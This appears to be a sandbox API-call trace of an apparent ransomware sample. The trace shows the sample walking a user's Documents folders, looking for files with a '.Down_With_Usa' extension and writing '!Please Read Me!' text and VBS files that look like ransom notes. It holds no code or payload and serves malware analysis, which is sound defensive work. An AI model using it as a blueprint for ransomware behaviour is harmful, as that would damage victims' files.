[0120.611] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eba30) returned 1
[0120.629] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb9f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x56
[0120.629] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures", nBufferLength=0x105, lpBuffer=0x2eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures", lpFilePart=0x0) returned 0x33
[0120.629] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebe60) returned 1
[0120.629] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures", nBufferLength=0x105, lpBuffer=0x2eb950, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures", lpFilePart=0x0) returned 0x33
[0120.629] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x56
[0120.629] GetFullPathNameW (in: lpFileName="!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x48
[0120.629] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\!Please Read Me!.txt.Down_With_Usa", lpFindFileData=0x2ebb00 | out: lpFindFileData=0x2ebb00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
[0120.629] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd90) returned 1
[0120.632] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\!Please Read Me!.txt", nBufferLength=0x105, lpBuffer=0x2eb6b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\!Please Read Me!.txt", lpFilePart=0x0) returned 0x48
[0120.632] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebb90) returned 1
[0120.633] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\!Please Read Me!.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my pictures\\!please read me!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3a8
[0120.634] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebb00) returned 1
[0120.635] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\!Please Read Me!.vbs", nBufferLength=0x105, lpBuffer=0x2eb850, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\!Please Read Me!.vbs", lpFilePart=0x0) returned 0x48
[0120.635] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd30) returned 1
[0120.635] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\!Please Read Me!.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my pictures\\!please read me!.vbs"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3a8
[0120.636] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebca0) returned 1
[0120.637] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebb00) returned 1
[0120.637] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes", nBufferLength=0x105, lpBuffer=0x2eb5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes", lpFilePart=0x0) returned 0x31
[0120.637] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\", nBufferLength=0x105, lpBuffer=0x2eb590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\", lpFilePart=0x0) returned 0x32
[0120.637] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\*", lpFindFileData=0x2eb7a0 | out: lpFindFileData=0x2eb7a0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0120.639] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0120.639] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebf97a0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0120.639] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9e9e4460, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9e9e4460, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Favorites.vss", cAlternateFileName="FAVORI~1.VSS")) returned 1
[0120.639] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 1
[0120.639] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 0
[0120.639] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0120.639] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eba50) returned 1
[0120.639] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eba10) returned 1
[0120.639] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebb00) returned 1
[0120.639] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes", nBufferLength=0x105, lpBuffer=0x2eb5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes", lpFilePart=0x0) returned 0x31
[0120.640] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\", nBufferLength=0x105, lpBuffer=0x2eb590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\", lpFilePart=0x0) returned 0x32
[0120.640] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\*", lpFindFileData=0x2eb7a0 | out: lpFindFileData=0x2eb7a0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0120.640] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0120.640] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebf97a0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0120.640] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9e9e4460, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9e9e4460, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Favorites.vss", cAlternateFileName="FAVORI~1.VSS")) returned 1
[0120.640] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 1
[0120.640] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
[0120.640] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0120.640] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eba50) returned 1
[0120.640] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eba10) returned 1
[0120.640] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb580) returned 1
[0120.641] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private", nBufferLength=0x105, lpBuffer=0x2eb070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private", lpFilePart=0x0) returned 0x3a
[0120.641] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\", nBufferLength=0x105, lpBuffer=0x2eb010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\", lpFilePart=0x0) returned 0x3b
[0120.641] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\*", lpFindFileData=0x2eb220 | out: lpFindFileData=0x2eb220*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0120.642] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0120.642] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebf97a0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x74e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1
[0120.642] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
[0120.642] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0120.643] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb4d0) returned 1
[0120.643] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb490) returned 1
[0120.643] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb580) returned 1
[0120.643] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private", nBufferLength=0x105, lpBuffer=0x2eb070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private", lpFilePart=0x0) returned 0x3a
[0120.643] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\", nBufferLength=0x105, lpBuffer=0x2eb010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\", lpFilePart=0x0) returned 0x3b
[0120.643] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\*", lpFindFileData=0x2eb220 | out: lpFindFileData=0x2eb220*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0120.643] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0120.643] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebf97a0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x74e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1
[0120.643] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebf97a0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x74e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 0
[0120.643] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0120.643] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb4d0) returned 1
[0120.644] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb490) returned 1
[0120.644] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x5d
[0120.644] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private", nBufferLength=0x105, lpBuffer=0x2eb480, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private", lpFilePart=0x0) returned 0x3a
[0120.644] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb8e0) returned 1
[0120.644] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private", nBufferLength=0x105, lpBuffer=0x2eb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private", lpFilePart=0x0) returned 0x3a
[0120.644] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x5d
[0120.644] GetFullPathNameW (in: lpFileName="!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x48
[0120.644] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\!Please Read Me!.txt.Down_With_Usa", lpFindFileData=0x2eb580 | out: lpFindFileData=0x2eb580*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
[0120.644] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb830) returned 1
[0120.644] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb7f0) returned 1
[0120.646] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\!Please Read Me!.txt", nBufferLength=0x105, lpBuffer=0x2eb130, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\!Please Read Me!.txt", lpFilePart=0x0) returned 0x4f
[0120.646] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb610) returned 1
[0120.646] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\!Please Read Me!.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\_private\\!please read me!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3a8
[0120.647] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb580) returned 1
[0120.648] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\!Please Read Me!.vbs", nBufferLength=0x105, lpBuffer=0x2eb2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\!Please Read Me!.vbs", lpFilePart=0x0) returned 0x4f
[0120.648] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb7b0) returned 1
[0120.649] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\!Please Read Me!.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\_private\\!please read me!.vbs"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3a8
[0120.649] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb720) returned 1
[0120.650] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb9f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x54
[0120.650] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes", nBufferLength=0x105, lpBuffer=0x2eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes", lpFilePart=0x0) returned 0x31
[0120.650] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebe60) returned 1
[0120.650] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes", nBufferLength=0x105, lpBuffer=0x2eb950, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes", lpFilePart=0x0) returned 0x31
[0120.650] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x54
[0120.651] GetFullPathNameW (in: lpFileName="!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x48
[0120.651] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\!Please Read Me!.txt.Down_With_Usa", lpFindFileData=0x2ebb00 | out: lpFindFileData=0x2ebb00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
[0120.651] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebdb0) returned 1
[0120.651] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd70) returned 1
